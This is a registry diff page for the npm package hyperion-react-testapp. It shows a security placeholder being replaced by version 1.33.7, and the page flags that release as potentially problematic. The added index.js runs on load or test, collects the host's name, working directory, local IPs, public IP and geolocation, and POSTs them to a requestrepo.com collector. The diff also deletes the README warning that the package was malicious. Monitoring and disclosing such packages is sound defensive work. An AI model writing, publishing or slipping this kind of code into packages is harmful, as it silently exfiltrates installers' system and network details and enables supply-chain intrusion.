hyperion-react-testapp 0.0.1-security → 1.33.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of hyperion-react-testapp might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +119 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,119 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ function getPublicIP() {
5
+ return new Promise((resolve, reject) => {
6
+ https.get('https://api.ipify.org?format=json', (res) => {
7
+ let data = '';
8
+ res.on('data', (chunk) => (data += chunk));
9
+ res.on('end', () => {
10
+ try {
11
+ const result = JSON.parse(data);
12
+ resolve(result.ip);
13
+ } catch (error) {
14
+ reject(new Error('Failed to parse public IP response.'));
15
+ }
16
+ });
17
+ }).on('error', reject);
18
+ });
19
+ }
20
+
21
+ function lookupIPInfo(ip) {
22
+ const options = {
23
+ hostname: 'ipapi.co',
24
+ port: 443,
25
+ path: `/${ip}/json`,
26
+ method: 'GET',
27
+ headers: {
28
+ 'User-Agent': 'Node.js IP Lookup',
29
+ },
30
+ };
31
+
32
+ return new Promise((resolve, reject) => {
33
+ const req = https.request(options, (res) => {
34
+ let data = '';
35
+ res.on('data', (chunk) => (data += chunk));
36
+ res.on('end', () => {
37
+ try {
38
+ const result = JSON.parse(data);
39
+ if (result.error) {
40
+ reject(new Error(result.reason || 'API Error'));
41
+ return;
42
+ }
43
+ resolve({
44
+ ip: result.ip,
45
+ organization: result.org,
46
+ isp: result.asn,
47
+ city: result.city,
48
+ region: result.region,
49
+ country: result.country_name,
50
+ });
51
+ } catch (error) {
52
+ reject(new Error('Error parsing IP data.'));
53
+ }
54
+ });
55
+ });
56
+
57
+ req.on('error', reject);
58
+ req.setTimeout(5000, () => {
59
+ req.destroy();
60
+ reject(new Error('Request timed out.'));
61
+ });
62
+
63
+ req.end();
64
+ });
65
+ }
66
+
67
+ function sendDataToServer(data) {
68
+ const postData = JSON.stringify(data);
69
+
70
+ const options = {
71
+ hostname: '169o8v5k.requestrepo.com',
72
+ port: 443,
73
+ path: '/log',
74
+ method: 'POST',
75
+ headers: {
76
+ 'Content-Type': 'application/json',
77
+ 'Content-Length': postData.length,
78
+ },
79
+ };
80
+
81
+ const req = https.request(options, (res) => {
82
+ res.on('data', (chunk) => {
83
+ });
84
+ });
85
+
86
+ req.on('error', (error) => {
87
+ console.error('Error sending data:', error.message);
88
+ });
89
+
90
+ req.write(postData);
91
+ req.end();
92
+ }
93
+
94
+ async function gatherAndSendData() {
95
+ try {
96
+ const systemData = {
97
+ timestamp: new Date().toISOString(),
98
+ hostname: os.hostname(),
99
+ currentPath: process.cwd(),
100
+ ip: Object.values(os.networkInterfaces())
101
+ .flat()
102
+ .filter((iface) => iface.family === 'IPv4' && !iface.internal)
103
+ .map((iface) => iface.address),
104
+ packageName: 'hyperion-react-testapp',
105
+ };
106
+
107
+ const publicIP = await getPublicIP();
108
+
109
+ const ipInfo = await lookupIPInfo(publicIP);
110
+
111
+ const combinedData = { ...systemData, publicIP, ipInfo };
112
+
113
+ sendDataToServer(combinedData);
114
+ } catch (error) {
115
+ console.error('Error:', error.message);
116
+ }
117
+ }
118
+
119
+ gatherAndSendData();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "hyperion-react-testapp",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.33.7",
4
+ "description": "Security research purposes only",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=hyperion-react-testapp for more information.